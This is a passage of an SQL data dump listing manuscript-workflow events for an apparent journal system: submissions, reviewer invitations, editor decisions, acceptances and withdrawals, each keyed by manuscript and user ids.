00:00:00','Reviewer has submitted comments',10366,'Reviewer',9911),(110359,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11710,'Publisher',984),(110365,'0000-00-00 00:00:00','Author sent Email',11443,'Author',11865),(110380,'0000-00-00 00:00:00','Author sent Email',4013,'Author',5214),(110440,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10366,'Editor',1669),(110441,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',10366,'Editor',1669),(110442,'0000-00-00 00:00:00','Publisher : Notified Author',10366,'Publisher',274),(110443,'0000-00-00 00:00:00','Publisher : Notified Author',9640,'Publisher',274),(110444,'0000-00-00 00:00:00','Publisher : Notified Author',9999,'Publisher',274),(110445,'0000-00-00 00:00:00','Publisher : Notified Author',10452,'Publisher',274),(110452,'0000-00-00 00:00:00','Manuscript Submitted by Author',11739,'Author',9153),(110471,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11439,'Publisher',85),(110472,'0000-00-00 00:00:00','Reviewer has submitted comments',11234,'Reviewer',11718),(110473,'0000-00-00 00:00:00','Publisher : Notified Editor',11234,'Publisher',85),(110474,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11234,'Editor',1408),(110475,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11234,'Editor',1408),(110477,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11234,'Publisher',85),(110480,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11234,'Publisher',85),(110484,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(110485,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(110487,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(110488,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(110489,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(110491,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(110492,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(110493,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(110494,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(110495,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(110496,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(110497,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(110498,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(110499,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(110500,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(110502,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(110511,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(110525,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11693,'Publisher',48),(110526,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11684,'Publisher',48),(110530,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11693,'Publisher',48),(110531,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11693,'Publisher',48),(110532,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11693,'Publisher',48),(110533,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11693,'Publisher',48),(110534,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11684,'Publisher',48),(110535,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11684,'Publisher',48),(110536,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11684,'Publisher',48),(110537,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11684,'Publisher',48),(110544,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11670,'Publisher',84),(110545,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11337,'Publisher',84),(110546,'0000-00-00 00:00:00','Reviewer has submitted comments',11566,'Reviewer',18830),(110547,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',10474,'Publisher',84),(110572,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11270,'Publisher',84),(110588,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11670,'Publisher',84),(110589,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11670,'Publisher',84),(110590,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11670,'Publisher',84),(110591,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11670,'Publisher',84),(110592,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11670,'Publisher',84),(110593,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11670,'Publisher',84),(110594,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11670,'Publisher',84),(110595,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11670,'Publisher',84),(110596,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11670,'Publisher',84),(110597,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11670,'Publisher',84),(110598,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11670,'Publisher',84),(110599,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11670,'Publisher',84),(110600,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11670,'Publisher',84),(110601,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11670,'Publisher',84),(110602,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11670,'Publisher',84),(110603,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11670,'Publisher',84),(110604,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11670,'Publisher',84),(110605,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11670,'Publisher',84),(110618,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11759,'Author',12114),(110718,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11786,'Publisher',85),(110735,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10809,'Publisher',84),(110739,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11795,'Publisher',85),(110740,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11673,'Publisher',1033),(110741,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11673,'Publisher',1033),(110742,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11673,'Publisher',1033),(110743,'0000-00-00 00:00:00','Reviewer has submitted comments',11589,'Reviewer',20696),(110744,'0000-00-00 00:00:00','Reviewer has submitted comments',11673,'Reviewer',20696),(110746,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11739,'Publisher',48),(110747,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11744,'Publisher',48),(110748,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11739,'Publisher',48),(110749,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11739,'Publisher',48),(110750,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11739,'Publisher',48),(110751,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11739,'Publisher',48),(110754,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11744,'Publisher',48),(110755,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11744,'Publisher',48),(110756,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11744,'Publisher',48),(110757,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11744,'Publisher',48),(110758,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11739,'Publisher',48),(110780,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11801,'Publisher',85),(110797,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11804,'Publisher',85),(110800,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11806,'Author',12146),(110802,'0000-00-00 00:00:00','Manuscript Submitted by Author',11808,'Author',12148),(110809,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11710,'Publisher',984),(110878,'0000-00-00 00:00:00','Publisher : Notified Author',11320,'Publisher',85),(110880,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(110881,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(110883,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(110884,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(110885,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(110886,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(110900,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11816,'Publisher',85),(110990,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11297,'Publisher',84),(111000,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11530,'Publisher',84),(111004,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11534,'Publisher',84),(111010,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10925,'Publisher',972),(111011,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10925,'Publisher',972),(111012,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10925,'Publisher',972),(111014,'0000-00-00 00:00:00','Reviewer has submitted comments',11158,'Reviewer',17211),(111015,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11158,'Editor',1324),(111016,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11158,'Editor',1324),(111017,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11158,'Publisher',972),(111026,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11232,'Editor',1324),(111027,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',11104,'Publisher',673),(111028,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',9903,'Publisher',673),(111029,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11232,'Editor',1324),(111030,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8521,'Publisher',673),(111031,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8396,'Publisher',673),(111033,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6755,'Publisher',673),(111034,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11232,'Publisher',972),(111035,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11450,'Publisher',972),(111036,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11450,'Publisher',972),(111037,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11450,'Publisher',972),(111038,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11450,'Publisher',972),(111040,'0000-00-00 00:00:00','Reviewer has submitted comments',11450,'Reviewer',17208),(111043,'0000-00-00 00:00:00','Reviewer has submitted comments',10925,'Reviewer',17204),(111044,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11450,'Editor',1324),(111045,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11450,'Editor',1324),(111046,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10925,'Editor',1315),(111047,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10925,'Editor',1315),(111048,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10925,'Publisher',972),(111049,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11450,'Publisher',972),(111050,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',11040,'Publisher',84),(111104,'0000-00-00 00:00:00','Reviewer has submitted comments',11492,'Reviewer',11520),(111105,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11492,'Publisher',48),(111118,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11786,'Publisher',85),(111119,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11808,'Publisher',85),(111120,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11804,'Publisher',85),(111121,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11801,'Publisher',85),(111122,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11795,'Publisher',85),(111123,'0000-00-00 00:00:00','Manuscript Updated',11804,'Publisher',85),(111124,'0000-00-00 00:00:00','Manuscript Updated',11801,'Publisher',85),(111125,'0000-00-00 00:00:00','Manuscript Updated',11795,'Publisher',85),(111127,'0000-00-00 00:00:00','Reviewer has submitted comments',11093,'Reviewer',9002),(111128,'0000-00-00 00:00:00','Publisher : Notified Editor',11093,'Publisher',85),(111129,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11093,'Editor',204),(111130,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11093,'Editor',204),(111131,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11808,'Publisher',85),(111132,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11808,'Publisher',85),(111133,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11808,'Publisher',85),(111134,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11808,'Publisher',85),(111135,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11808,'Publisher',85),(111136,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11808,'Publisher',85),(111137,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11808,'Publisher',85),(111138,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11808,'Publisher',85),(111139,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11808,'Publisher',85),(111140,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11808,'Publisher',85),(111141,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11808,'Publisher',85),(111142,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11808,'Publisher',85),(111143,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11786,'Publisher',85),(111144,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11786,'Publisher',85),(111145,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11786,'Publisher',85),(111146,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11786,'Publisher',85),(111147,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11786,'Publisher',85),(111148,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11786,'Publisher',85),(111149,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11786,'Publisher',85),(111150,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11093,'Publisher',85),(111179,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11804,'Editor',1675),(111180,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11801,'Editor',1675),(111181,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11795,'Editor',1675),(111184,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11804,'Editor',1675),(111185,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11801,'Editor',1675),(111186,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11795,'Editor',1675),(111189,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11804,'Publisher',85),(111190,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11801,'Publisher',85),(111191,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11795,'Publisher',85),(111192,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11795,'Publisher',85),(111193,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11801,'Publisher',85),(111194,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11804,'Publisher',85),(111206,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11808,'Editor',1291),(111207,'0000-00-00 00:00:00','Editor has Invited Reviewer',11808,'Editor',1291),(111208,'0000-00-00 00:00:00','Editor has Invited Reviewer',11808,'Editor',1291),(111209,'0000-00-00 00:00:00','Editor has Invited Reviewer',11808,'Editor',1291),(111210,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11846,'Publisher',248),(111215,'0000-00-00 00:00:00','Reviewer has been sent email to Publisher',4241,'Reviewer',11876),(111228,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11806,'Publisher',274),(111229,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11852,'Author',12179),(111230,'0000-00-00 00:00:00','Manuscript Updated',11590,'Publisher',84),(111263,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11816,'Publisher',85),(111264,'0000-00-00 00:00:00','Reviewer has submitted comments',11451,'Reviewer',11520),(111265,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11451,'Publisher',48),(111320,'0000-00-00 00:00:00','Reviewer has submitted comments',11120,'Reviewer',11520),(111321,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11120,'Editor',194),(111322,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11120,'Editor',194),(111323,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11120,'Publisher',48),(111324,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11120,'Publisher',48),(111325,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11855,'Author',12182),(111350,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11852,'Publisher',988),(111351,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11852,'Publisher',988),(111352,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11852,'Publisher',988),(111353,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11852,'Publisher',988),(111357,'0000-00-00 00:00:00','Reviewer has submitted comments',11618,'Reviewer',18830),(111358,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11808,'Publisher',85),(111359,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11808,'Publisher',85),(111360,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11808,'Publisher',85),(111361,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11808,'Publisher',85),(111362,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11808,'Publisher',85),(111363,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11808,'Publisher',85),(111364,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11808,'Publisher',85),(111365,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11808,'Publisher',85),(111366,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11808,'Publisher',85),(111367,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11808,'Publisher',85),(111369,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11816,'Editor',1675),(111370,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11816,'Editor',1675),(111371,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11816,'Publisher',85),(111372,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11816,'Publisher',85),(111377,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11846,'Publisher',248),(111379,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(111380,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(111381,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(111382,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(111383,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(111384,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(111385,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(111386,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(111387,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(111388,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(111389,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(111392,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11670,'Editor',221),(111393,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11670,'Editor',221),(111397,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11859,'Publisher',48),(111427,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11673,'Editor',1740),(111428,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11589,'Editor',1740),(111429,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11487,'Editor',1740),(111442,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11092,'Editor',194),(111443,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11092,'Editor',194),(111444,'0000-00-00 00:00:00','Reviewer has submitted comments',11092,'Reviewer',11520),(111445,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11092,'Publisher',48),(111446,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11031,'Publisher',48),(111450,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11870,'Author',12191),(111452,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11872,'Author',12193),(111464,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11859,'Publisher',48),(111465,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11859,'Publisher',48),(111466,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11859,'Publisher',48),(111467,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11859,'Publisher',48),(111468,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11859,'Publisher',48),(111469,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11859,'Publisher',48),(111470,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11855,'Publisher',85),(111471,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11855,'Publisher',85),(111472,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11855,'Publisher',85),(111473,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11855,'Publisher',85),(111474,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11855,'Publisher',85),(111475,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11855,'Publisher',85),(111476,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11855,'Publisher',85),(111477,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11855,'Publisher',85),(111478,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11855,'Publisher',85),(111479,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11855,'Publisher',85),(111480,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11855,'Publisher',85),(111481,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11855,'Publisher',85),(111482,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11855,'Publisher',85),(111491,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11878,'Author',12198),(111494,'0000-00-00 00:00:00','Reviewer has submitted comments',11808,'Reviewer',18913),(111496,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11882,'Author',12203),(111525,'0000-00-00 00:00:00','Publisher : Notified Editor',11808,'Publisher',85),(111552,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11872,'Publisher',988),(111553,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11872,'Publisher',988),(111554,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11872,'Publisher',988),(111626,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',11808,'Editor',1291),(111627,'0000-00-00 00:00:00','Publisher : Notified Author',11808,'Publisher',85),(111629,'0000-00-00 00:00:00','Publisher : Notified Author',11808,'Publisher',85),(111630,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(111631,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(111632,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11550,'Publisher',85),(111633,'0000-00-00 00:00:00','Publisher : Notified Author',11320,'Publisher',85),(111640,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11115,'Editor',194),(111641,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11115,'Editor',194),(111642,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11115,'Publisher',48),(111643,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11115,'Publisher',48),(111644,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11432,'Publisher',48),(111653,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',11808,'Editor',1291),(111654,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',7518,'Editor',1291),(111656,'0000-00-00 00:00:00','Author sent Email',11808,'Author',12148),(111657,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11870,'Publisher',972),(111660,'0000-00-00 00:00:00','Publisher : Notified Author',11808,'Publisher',85),(111684,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11093,'Publisher',85),(111685,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11786,'Publisher',85),(111686,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11786,'Publisher',85),(111687,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11786,'Publisher',85),(111734,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11586,'Publisher',274),(111735,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11586,'Publisher',274),(111736,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11586,'Publisher',274),(111737,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11586,'Publisher',274),(111738,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11586,'Publisher',274),(111739,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11586,'Publisher',274),(111740,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11586,'Publisher',274),(111741,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11586,'Publisher',274),(111742,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11806,'Publisher',274),(111743,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11806,'Publisher',274),(111744,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11806,'Publisher',274),(111745,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11806,'Publisher',274),(111746,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11806,'Publisher',274),(111747,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11806,'Publisher',274),(111748,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11806,'Publisher',274),(111754,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11739,'Editor',194),(111755,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11739,'Editor',194),(111756,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11739,'Publisher',48),(111766,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',9959,'Publisher',972),(111768,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11590,'Publisher',84),(111780,'0000-00-00 00:00:00','Manuscript Submitted by Author',11914,'Author',12226),(111781,'0000-00-00 00:00:00','Manuscript has been Revised',11808,'Author',12148),(111810,'0000-00-00 00:00:00','Reviewer has submitted comments',11432,'Reviewer',11520),(111811,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11432,'Publisher',48),(111812,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11432,'Publisher',48),(111813,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11084,'Publisher',48),(111854,'0000-00-00 00:00:00','Publisher : Notified Editor',11566,'Publisher',988),(111858,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11566,'Editor',1410),(111859,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11566,'Editor',1410),(111860,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11566,'Publisher',988),(111861,'0000-00-00 00:00:00','Manuscript Updated',11566,'Publisher',988),(111862,'0000-00-00 00:00:00','Publisher : Notified Editor',11618,'Publisher',988),(111863,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11618,'Editor',1410),(111876,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11618,'Editor',1410),(111879,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11618,'Publisher',988),(111905,'0000-00-00 00:00:00','Reviewer has submitted comments',11084,'Reviewer',11520),(111908,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11084,'Publisher',48),(111910,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11084,'Publisher',48),(111929,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10873,'Publisher',48),(111930,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11928,'Author',12238),(111964,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11932,'Author',12241),(112025,'0000-00-00 00:00:00','Reviewer has submitted comments',11541,'Reviewer',11520),(112026,'0000-00-00 00:00:00','Reviewer has submitted comments',11541,'Reviewer',11520),(112027,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11541,'Editor',194),(112028,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11541,'Editor',194),(112029,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11541,'Editor',194),(112030,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11541,'Editor',194),(112039,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11541,'Publisher',48),(112071,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11541,'Publisher',48),(112072,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11541,'Publisher',48),(112087,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',10697,'Publisher',984),(112088,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',10697,'Publisher',984),(112096,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11759,'',1045),(112097,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10881,'',1045),(112106,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11932,'Publisher',48),(112107,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11932,'Publisher',48),(112108,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11932,'Publisher',48),(112109,'0000-00-00 